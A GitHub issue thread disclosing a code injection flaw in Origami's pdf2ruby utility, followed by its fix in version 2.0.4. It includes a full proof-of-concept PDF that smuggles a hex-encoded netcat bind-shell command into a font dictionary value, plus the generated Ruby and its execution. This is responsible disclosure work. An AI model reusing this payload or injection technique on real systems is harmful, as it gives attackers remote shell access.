Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

pdf2ruby utility code injection vulnerability #25

Closed
bcoles opened this issue Oct 1, 2017 · 11 comments
Closed

pdf2ruby utility code injection vulnerability #25

bcoles opened this issue Oct 1, 2017 · 11 comments

Comments

@bcoles
Copy link

bcoles commented Oct 1, 2017

The experimental pdf2ruby utility takes a user-specified PDF file as input and generates an Origami ruby script which can be used to rebuild an equivalent PDF document.

It's possible to craft a PDF for input such that the generated ruby code contains malicious operating system commands. The commands will be executed if the user runs the generated code.

The following malicious PDF document demonstrates this issue.

root@kali:~/pdf/origami/bin# cat ../poc.pdf 
%PDF-1.0
1 0 obj
<<
	/Pages 2 0 R
	/Type /Catalog
>>
endobj
2 0 obj
<<
	/Kids [ 3 0 R ]
	/Count 1
	/Type /Pages
>>
endobj
3 0 obj
<<
	/Type /Page
	/Parent 2 0 R
	/MediaBox [ 0 0 795 842 ]
	/Resources <<
		/Font <<
			/F1 4 0 R
		>>
	>>
>>
endobj
4 0 obj
<<
	/Name /F1
	/Subtype /Type1
	/Type /Font
	/BaseFont /Helvetica
	/foo /bar"+`nc\x20-lvp\x201337\x20-e\x20\x2Fbin\x2Fsh`+"
>>
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000067 00000 n
0000000136 00000 n
0000000272 00000 n
trailer
<<
	/Root 1 0 R
	/Size 5
>>
startxref
364
%%EOF

Note that the /foo parameter value contains a string concatenated with operating system commands (a netcat bind shell on port 1337) enclosed in backticks.

The operating system commands must be hex encoded as several characters (such as and /) prevent successful injection.

Running the pdf2ruby utility on the above malicious PDF is successful and generates no warnings or errors, as shown below:

root@kali:~/pdf/origami/bin# ./pdf2ruby ../poc.pdf 
[*] Loading document '../poc.pdf'
[*] Document successfully loaded into Origami
[*] Retrieving all indirect objects...
[*] Retrieving the document Catalog...
[*] Processing the object hierarchy...
[*] Successfully generated script 'poc/poc.rb'

The generated code is shown below:

root@kali:~/pdf/origami/bin# cat poc/poc.rb 
#!/usr/bin/env ruby

begin
    require 'origami'
rescue LoadError
    $: << "/root/pdf/origami/bin/../lib"
    require 'origami'
end
include Origami
using Origami::TypeConversion

# Disable automatic type casting.
Origami::OPTIONS[:enable_type_guessing] = false

OUTPUT = "#{File.basename(__FILE__, '.rb')}.pdf"

#
# Creates the PDF object.
#
pdf = PDF.new

f1_4 = 
Font::Type1::Standard::Helvetica.new(
  :Name => :F1, 
  :Subtype => :Type1, 
  :Type => :Font, 
  :BaseFont => :Helvetica, 
  :foo => :"bar"+`nc\x20-lvp\x201337\x20-e\x20\x2Fbin\x2Fsh`+""
).to_o

obj_3 = 
Page.new(
  :Type => :Page, 
  :Parent => nil, 
  :MediaBox => 
    [0, 0, 795, 842], 
  :Resources => 
    Resources.new(
      :Font => 
        {
          :F1 => f1_4
        }
    )
).to_o

pages_2 = 
PageTreeNode.new(
  :Count => 1, 
  :Kids => 
    [obj_3], 
  :Type => :Pages
).to_o
obj_3[:Parent] = pages_2

pdf.Catalog = 
Catalog.new(
  :Pages => pages_2, 
  :Type => :Catalog
).to_o

pdf.insert(pages_2)
pdf.insert(obj_3)
pdf.insert(f1_4)

#
# Saves the document.
#
pdf.save(OUTPUT)

Note the value of the :foo key contains the hex encoded operating system commands surrounded by backticks.

The output below shows execution of the generated ruby code resulting in execution of the netcat bind shell:

root@kali:~/pdf/origami/bin# ./poc/poc.rb 
nc: listening on :: 1337 ...
nc: listening on 0.0.0.0 1337 ...
^C./poc/poc.rb: Interrupt

@bcoles
Copy link
Author

bcoles commented Oct 1, 2017

@ndbroadbent

@ndbroadbent
Copy link

ndbroadbent commented Oct 1, 2017

Wow, awesome work @bcoles! Wasn't expecting an RCE!

I think this is important to fix, especially because this library is used by security researchers. You don't want to run this script on your laptop and risk having all your private data stolen, among other things.

@ndbroadbent
Copy link

Just confirming that I've tested this PDF in my app, and there's no RCE if you're just using the actual Origami library:

[info ] ...Reading header...
[info ] ...Parsing revision 1...
[info ] ...Parsing xref table...
[warn ] Unable to parse xref table! Xrefs might be stored into an XRef stream.
[info ] ...Parsing trailer...
[info ] ...Propagating types...

PDF::Reader also crashes properly with PDF::Reader::MalformedPDFError.

@bcoles
Copy link
Author

bcoles commented Oct 1, 2017

That makes sense. This issue was identified while manually reviewing the utilities - not as a result of fuzzing.

@bcoles
Copy link
Author

bcoles commented Oct 1, 2017

Also worth noting that pdfcop does not see the PDF document as dangerous.

root@kali:~/pdf/origami# ./bin/pdfcop poc.pdf 
[2017-10-01 06:07:58 -0400] PDFcop is running on target `poc.pdf', policy = `standard'
[2017-10-01 06:07:58 -0400]   File size: 598 bytes
[2017-10-01 06:07:58 -0400]   MD5: c783a006a5d6ac91cba50caf92176f05
[2017-10-01 06:07:58 -0400] > Inspecting document structure...
[2017-10-01 06:07:58 -0400] > Inspecting document catalog...
[2017-10-01 06:07:58 -0400] > Inspecting JavaScript names directory...
[2017-10-01 06:07:58 -0400] > Inspecting attachment names directory...
[2017-10-01 06:07:58 -0400] > Inspecting document pages...
[2017-10-01 06:07:58 -0400]   >> Inspecting page...
[2017-10-01 06:07:58 -0400] > Inspecting document streams...
[2017-10-01 06:07:58 -0400] Document accepted by policy `standard'.

@gdelugre
Copy link
Owner

gdelugre commented Oct 1, 2017

Thank you for submitting this issue. The problem lies in the pdf2ruby script and not in the library itself.

This script is just an experimental thing I had written a long time ago, but it is largely broken for multiple reasons and I doubt there is any real world scenario where it could be of any use.

Code execution could also be achieved with string interpolation by the way. Are you depending on this script for some reason? If not, I think I am just going to strip it out of the repository (there's no point in maintaining something useless and insecure).

@bcoles
Copy link
Author

bcoles commented Oct 1, 2017

Hi @gdelugre

I'm not dependent on this script, nor Origami for that matter.

I recently did some fuzzing of the pdf-reader Ruby gem. @ndbroadbent asked me to take a look at Origami.

During the process of fuzzing, I identified some issues which I wanted to verify by reproducing the issues outside of the fuzzer. To verify, rather than write a loader, I used the existing pdf2ruby utility for the sake of simplicity. Unrelated manual review of the utility quickly revealed the potential for code execution.

Regarding string interpolation, I tried, however it failed as # is rejected by the parser when parsing the PDF parameter keys and values. It may be possible to use string interpolation however I opted to use hex encoding rather than spend time investigating further.

@ndbroadbent
Copy link

Hi @gdelugre, I'm also not depending on the pdf2ruby script, so no problem if you want to remove it. However, I am using Origami on my server to parse AcroForm and XFA data for fillable PDF forms.

@gdelugre
Copy link
Owner

gdelugre commented Oct 1, 2017

Should be fixed by 1ef83a8

@bcoles
Copy link
Author

bcoles commented Oct 2, 2017

Looks like that fixed it. Parameters are escaped.

@gdelugre
Copy link
Owner

gdelugre commented Oct 2, 2017

Fixed as of 2.0.4

@gdelugre gdelugre closed this as completed Oct 2, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants